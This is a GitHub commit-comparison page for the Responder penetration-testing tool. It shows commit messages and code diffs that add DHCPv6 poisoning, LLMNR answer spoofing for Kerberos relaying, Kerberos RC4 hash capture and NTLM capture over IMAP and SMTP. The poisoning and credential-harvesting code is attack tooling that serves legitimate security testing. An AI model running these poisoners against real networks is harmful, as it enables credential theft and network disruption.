Compare commits

...

65 Commits

Author SHA1 Message Date
lgandx
1f7858a223 removed unused functions 2026-01-06 22:37:45 -03:00
lgandx
9fa97ef308 removed mysql 2026-01-06 20:56:01 -03:00
lgandx
23587f8b5d added IMAPS 2026-01-06 20:54:03 -03:00
lgandx
9db07b54d6 Added DHCPv6 poisoning + DNS filtering 2026-01-06 20:51:08 -03:00
lgandx
074f152a74 DNS server should be enabled in analyze mode since its a rogue server, not a poisoner 2026-01-06 19:55:07 -03:00
lgandx
e854680360 Merge branch 'master' of https://github.com/lgandx/Responder 2026-01-06 18:54:34 -03:00
lgandx
100b1bbe00 Added STARTTLS support to imap and SMTP 2026-01-06 18:53:56 -03:00
lgandx
b9646c7890 Merge pull request #336 from the-useless-one/fix_smbserver
Fix Buffer type for SMBv1/2 session request
2026-01-06 13:43:39 -03:00
yme
fc9cfaf8f8 Fix Buffer type for SMBv1/2 session request 2026-01-06 17:20:52 +01:00
lgandx
367ed8a188 fixed formatting 2026-01-02 14:06:01 -03:00
lgandx
70893cdb8b minor fix 2026-01-02 13:57:48 -03:00
lgandx
e264aae039 fix output 2026-01-02 13:42:14 -03:00
lgandx
a8cb41d09b Now forces clients to authenticate and if possible to use RC4 + correct hash formatting when parsing type 23 2026-01-02 13:40:28 -03:00
lgandx
e2a0ba041a added support for OPT, etc 2026-01-02 09:48:18 -03:00
lgandx
b2b1974b2a added support for SAMR, SRVSVC, WKSSVC, WINREG, SVCCTL, ATSVC, DNSSERVER 2025-12-31 15:51:54 -03:00
lgandx
1833341a33 added suppport for imap ntlm 2025-12-31 15:49:49 -03:00
lgandx
5a114080b4 major fixes, kerberos handling, etc 2025-12-31 15:47:52 -03:00
lgandx
0ffdeb585f DNS server now supports SOA, MX, SRV, ANY, etc 2025-12-31 15:00:01 -03:00
lgandx
73507a671f Client: TGS-REQ → Responder: KRB-ERROR → AS-REQ → KRB-ERROR 25 (pre-auth required) -> AS-REQ with PA-ENC-TIMESTAMP (hash!) 2025-12-31 12:28:59 -03:00
lgandx
9c40a5d265 Added NTLM authentication for IMAP and AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM authentication on SMTP 2025-12-31 10:14:50 -03:00
lgandx
5960d04a51 fixed hashcat hash construction 2025-12-31 09:26:17 -03:00
lgandx
44f6dd2865 msgData is a plain SEQUENCE (0x30) per RFC 3412 2025-12-31 08:42:53 -03:00
lgandx
9d4b64354c added support for all modern SNMPv3 auth algorithms 2025-12-31 02:03:26 -03:00
lgandx
6a5a20dc8b Major fixes, now supporting AES and RC4 hash extraction 2025-12-31 01:41:07 -03:00
lgandx
3dd2ed8370 Added Challenge-response + full SASL mechanisms support 2025-12-30 23:22:00 -03:00
lgandx
74cea27ff9 Added LDAP support for SASL mechanisms: GSSAPI, GSS-SPNEGO, NTLM, DIGEST-MD5 2025-12-30 21:46:03 -03:00
lgandx
9a5e33ae03 added error handling 2025-12-05 14:56:00 -03:00
lgandx
6d66d900f1 added error handling 2025-12-05 14:49:43 -03:00
lgandx
aa4b082071 Merge branch 'master' of https://github.com/lgandx/Responder 2025-12-01 21:48:18 -03:00
lgandx
de5cdf4891 removed old addresses and added new ones. 2025-12-01 21:47:30 -03:00
lgandx
b4427406ee Merge pull request #329 from FLX-0x00/master
Fix pyproject.toml license metadata incompatibility with PDM backend
2025-11-29 20:00:45 -03:00
Paul Werther
1457035955 remove the licence classifier 2025-11-05 12:33:22 +01:00
lgandx
7c5a31d803 Merge pull request #325 from TheToddLuci0/add_pyproject_toml
Add pyprojcet.toml for pip-install ability
2025-10-30 20:48:59 -03:00
TheToddLuci0
15c173a128 Add pyprojcet.toml for pip-install ability 2025-10-20 14:02:44 -05:00
lgandx
fe5f63269a minor fix on recent merge and version update 2025-08-22 19:15:52 -03:00
lgandx
da74083b46 Merge pull request #315 from vflame6/master
Disabled printing of ignored LLMNR, NBT-NS and MDNS messages in Analyze Mode with Quiet Mode
2025-08-22 19:07:29 -03:00
lgandx
004dc1f4f3 Merge pull request #297 from idarlund/patch-1
quickstart for macos
2025-08-22 18:42:52 -03:00
lgandx
6fad9f0c3a Merge branch 'master' of https://github.com/lgandx/Responder 2025-08-22 18:32:51 -03:00
lgandx
007367e0e0 minor fix and layout changes 2025-08-22 18:30:49 -03:00
lgandx
08864c7d76 Merge pull request #318 from Helithumper/kerberos-typo
Typo Fix: Kebreros->Kerberos
2025-08-22 18:09:47 -03:00
lgandx
32da74c12d Merge branch 'master' into kerberos-typo 2025-08-22 18:09:22 -03:00
lgandx
7a8d06b8d3 Merge pull request #319 from hdm/master
Correct a very minor typo
2025-08-22 18:05:39 -03:00
HD Moore
a9c41c97fc fix minor typo 2025-07-28 22:02:19 -05:00
HD Moore
eeceecae8f fix minor typo 2025-07-28 22:01:58 -05:00
Peyton Duncan
f1d8d1a6c4 typo had a typo 2025-07-19 13:58:14 -07:00
Peyton Duncan
a5a2231ec3 typo fix 2025-07-19 13:56:10 -07:00
vflame6
7e6d49bf42 Disabled printing of ignored LLMNR, NBT-NS and MDNS messages in Analyze + Quiet modes 2025-07-09 13:33:07 +05:00
lgandx
398a1fce31 Fixed minor parsing issue in FindIP 2025-05-22 18:45:45 -03:00
lgandx
fa2b8dd5fd minor fixes 2025-05-22 11:42:50 -03:00
lgandx
58eb8731a5 Added SNMP srv enabled by default 2025-05-22 05:34:30 -03:00
lgandx
658480e0a5 added recent changelog 2025-05-22 05:27:55 -03:00
lgandx
a76ee47867 added check for aioquic & updated version to reflect recent changes 2025-05-22 05:23:00 -03:00
lgandx
e346c01695 Merge pull request #310 from ctjf/master
added quic support based on xpn's work
2025-05-22 05:17:27 -03:00
lgandx
41ed7c4f4a Merge pull request #308 from BlWasp/error_code_returned
Add control on the status code returned by the SMB server
2025-05-22 04:32:13 -03:00
lgandx
ea820ab076 Merge pull request #311 from stfnw/master
DHCP poisoner: refactor FindIP
2025-05-22 04:30:07 -03:00
Stefan Walter
a0d1f03617 DHCP poisoner: refactor FindIP
- do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46

- operate on bytes (avoid encoding/decoding round-trip)
  and use simple string search instead of regular expressions

closes #181
closes #304
2025-04-12 12:11:00 +02:00
Joshua Fickett
871cdffa97 added quic support based on xpn's work 2025-04-03 15:16:00 -04:00
BlackWasp
e781559be0 Indentation typos 2025-03-16 23:40:51 +01:00
BlackWasp
6bf6887c49 Add status code control 2025-03-16 23:32:19 +01:00
lgandx
545137275f Merge pull request #305 from L1-0/patch-1
Update RPC.py
2025-03-13 11:28:24 -03:00
Lino
6743423251 Update RPC.py
Fix Output of RPC.py
2025-02-24 11:49:06 +01:00
lgandx
d740fb526f Merge pull request #301 from q-roland/kerberos_relaying_llmnr
Adding answer name spoofing capabilities to LLMNR poisoner for Kerberos relaying purposes
2025-01-27 07:22:07 -03:00
User
d3dd37a324 Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose 2025-01-23 14:35:41 -08:00
Idar Lund
38023edfaa Update README.md 2024-11-07 09:21:19 +00:00
Idar Lund
fbcb000a93 quickstart for macos
added quickstart for macos and changed format on the considerations for macos
2024-11-07 09:18:55 +00:00
25 changed files with 5423 additions and 802 deletions

4
.gitignore vendored
View File

@@ -1,5 +1,6 @@
# Python artifacts
*.pyc
.venv/
# Responder logs
*.db
@@ -9,3 +10,6 @@
# Generated certificates and keys
certs/*.crt
certs/*.key
# IDE
.idea/

View File

@@ -1,3 +1,35 @@
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
# Changelog
All notable changes to this project will be documented in this file.

View File

@@ -101,15 +101,32 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
- This tool is not meant to work on Windows.
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
- For macOS, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
```
launchctl bootout system /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
```
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
## Install ##
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
Using pipx
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
```bash
pipx install git+https://github.com/lgandx/Responder.git
```
Manual:
```bash
git clone https://github.com/lgandx/Responder
cd Responder/
python3 -m venv .
source bin/activate
python3 -m pip install netifaces
sudo python3 Responder.py
```
## Usage ##
@@ -157,20 +174,36 @@ Options:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. Default: False
ON. This option is highly effective. Default: False
-Q, --quiet Tell Responder to be quiet, disables a bunch of
printing from the poisoners. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
Value in hex (30 seconds = 1e). use '-t random' for
random TTL
-N ANSWERNAME, --AnswerName=ANSWERNAME
Specifies the canonical name returned by the LLMNR
poisoner in its Answer section. By default, the
answer's canonical name is the same as the query.
Changing this value is mainly useful when attempting
to perform Kerberos relaying over HTTP.
-E, --ErrorCode Changes the error code returned by the SMB server to
STATUS_LOGON_FAILURE. By default, the status is
STATUS_ACCESS_DENIED. Changing this value permits to
obtain WebDAV authentications from the poisoned
machines where the WebClient service is running.
## Donation ##
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
You can contribute to this project by donating to the following USDT or Bitcoin address:
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv
BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo
Paypal:

View File

@@ -5,9 +5,13 @@ MDNS = On
LLMNR = On
NBTNS = On
#IPv6 conf:
DHCPv6 = Off
; Servers to start
SQL = On
SMB = On
QUIC = On
RDP = On
Kerberos = On
FTP = On
@@ -20,8 +24,9 @@ DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
SNMP = On
MQTT = On
MYSQL = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
@@ -79,6 +84,27 @@ CaptureMultipleCredentials = On
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On
;IPv6 section
[DHCPv6 Server]
; Domain to filter DNS and DHCPv6 poisoning responses
; Only respond to clients in this domain
; Leave empty to poison all domains (NOT RECOMMENDED - causes network disruption)
; Example: corp.local
DHCPv6_Domain =
; Send Router Advertisements to speed up IPv6 configuration
; Only needed on networks without RA Guard protection
; Default: Off (more stealthy, waits for natural DHCPv6 SOLICIT)
; WARNING: Sending RA can be more detectable
SendRA = Off
; Specific IPv6 address to bind to and advertise as DNS server
; Leave empty to auto-detect link-local address (recommended)
; Example: fe80::1
; Example: 2001:db8::1
BindToIPv6 =
[HTTP Server]
; Set to On to always serve the custom EXE

View File

@@ -14,6 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import asyncio
import optparse
import ssl
try:
@@ -35,6 +36,8 @@ parser.add_option('-b', '--basic', action="store_true", help="Return a B
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
@@ -46,6 +49,8 @@ parser.add_option('--lm', action="store_true", help="Force LM h
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -129,6 +134,34 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
class ThreadingUDPDHCPv6Server(ThreadingMixIn, UDPServer):
allow_reuse_address = True
address_family = socket.AF_INET6
def server_bind(self):
import socket
import struct
# Bind to :: (accept packets to ANY address including multicast)
UDPServer.server_bind(self)
print(color("[DHCPv6] Make sure to review DHCPv6 settings Responder.conf\n[DHCPv6] Only run this module for short periods of time, you might cause some disruption.", 2, 1))
# Join multicast group
group = socket.inet_pton(socket.AF_INET6, 'ff02::1:2')
if_index = socket.if_nametoindex(settings.Config.Interface)
mreq = group + struct.pack('@I', if_index)
try:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_LOOP, 1)
print(color("[DHCPv6] Joined ff02::1:2 port 547 on %s" % settings.Config.Interface, 2, 1))
except Exception as e:
print(color("[!] Multicast join failed: %s" % str(e), 1, 1))
# Set address family to IPv6
ThreadingUDPDHCPv6Server.address_family = socket.AF_INET6
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
@@ -249,6 +282,14 @@ def serve_thread_udp(host, port, handler):
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_dhcpv6(host, port, handler):
try:
# MUST bind to :: to receive multicast packets
server = ThreadingUDPDHCPv6Server(('::', port), handler)
server.serve_forever()
except Exception as e:
print(color("[!] DHCPv6 error: %s" % str(e), 1, 1))
def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
@@ -297,8 +338,13 @@ def main():
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
#IPv6 Poisoning
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
if settings.Config.DHCPv6_On_Off:
from servers.DHCPv6 import DHCPv6
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
# Load MDNS, NBNS and LLMNR Poisoners
if settings.Config.LLMNR_On_Off:
from poisoners.LLMNR import LLMNR
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
@@ -360,6 +406,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
if settings.Config.QUIC_On_Off:
from servers.QUIC import start_quic_server
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
@@ -396,6 +448,9 @@ def main():
if settings.Config.IMAP_On_Off:
from servers.IMAP import IMAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,)))
from servers.IMAP import IMAPS
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 993, IMAPS,)))
if settings.Config.DNS_On_Off:
from servers.DNS import DNS, DNSTCP
@@ -424,6 +479,14 @@ def main():
time.sleep(1)
except KeyboardInterrupt:
# Optional: Print DHCPv6 statistics on shutdown
if settings.Config.DHCPv6_On_Off:
try:
from servers.DHCPv6 import print_dhcpv6_stats
print_dhcpv6_stats()
except:
raise
pass
sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
if __name__ == '__main__':

View File

@@ -861,7 +861,7 @@ class IMAPGreeting(Packet):
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM"),
("CRLF", "\r\n"),
])
@@ -1249,42 +1249,6 @@ class SMBSessionData(Packet):
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
class SMBNegoFingerData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
@@ -2381,113 +2345,3 @@ class RPCNTLMNego(Packet):
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
################### Mailslot NETLOGON ######################
class NBTUDPHeader(Packet):
fields = OrderedDict([
("MessType", "\x11"),
("MoreFrag", "\x02"),
("TID", "\x82\x92"),
("SrcIP", "0.0.0.0"),
("SrcPort", "\x00\x8a"), ##Always 138
("DatagramLen", "\x00\x00"),
("PacketOffset", "\x00\x00"),
("ClientNBTName", ""),
("DstNBTName", ""),
("Data", ""),
])
def calculate(self):
self.fields["SrcIP"] = RespondWithIPAton()
## DatagramLen.
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
class SMBTransMailslot(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount", "\x00\x00"),
("MaxParamCount", "\x02\x00"),
("MaxDataCount", "\x00\x00"),
("MaxSetupCount", "\x00"),
("Reserved", "\x00"),
("Flags", "\x00\x00"),
("Timeout", "\xff\xff\xff\xff"),
("Reserved2", "\x00\x00"),
("ParamCount", "\x00\x00"),
("ParamOffset", "\x00\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x00\x00"),
("SetupCount", "\x03"),
("Reserved3", "\x00"),
("Opcode", "\x01\x00"),
("Priority", "\x00\x00"),
("Class", "\x02\x00"),
("Bcc", "\x00\x00"),
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
("MailSlotNull", "\x00"),
("Padding", "\x00\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["Padding"] = "\x00\x00\x00\x00"
else:
self.fields["Padding"] = "\x00\x00\x00"
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
class SamLogonResponseEx(Packet):
fields = OrderedDict([
("Cmd", "\x17\x00"),
("Sbz", "\x00\x00"),
("Flags", "\xfd\x03\x00\x00"),
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestNameNull", "\x00"),
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestDomainNull", "\x00"),
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
("DNSPointer", "\xc0\x18"),
("DomainName", "\x04\x53\x4d\x42\x33"),
("DomainTerminator", "\x00"),
("ServerLen", "\x0a"),
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),
("SrvSiteNameNull", "\x00"),
("Pointer", "\xc0"),
("PointerOffset", "\x5c"),
("DCAddrSize", "\x10"),
("AddrType", "\x02\x00"),
("Port", "\x00\x00"),
("DCAddress", "\xc0\xab\x01\x65"),
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Version", "\x0d\x00\x00\x00"),
("LmToken", "\xff\xff"),
("LmToken2", "\xff\xff"),
])
def calculate(self):
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
self.fields["DCAddress"] = RespondWithIPAton()
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))

View File

@@ -239,9 +239,13 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
IPPos = data.find(b"\x32\x04") + 2
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
#Probably not present in the DHCP options we received, let's grab it from the IP header instead
return data[12:16]
else:
IP = data[IPPos:IPPos+4]
return IP
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient

View File

@@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
if settings.Config.AnswerName is None:
AnswerName = Name
else:
AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
@@ -67,7 +71,9 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
@@ -78,14 +84,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == True: # Poisoning Mode
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
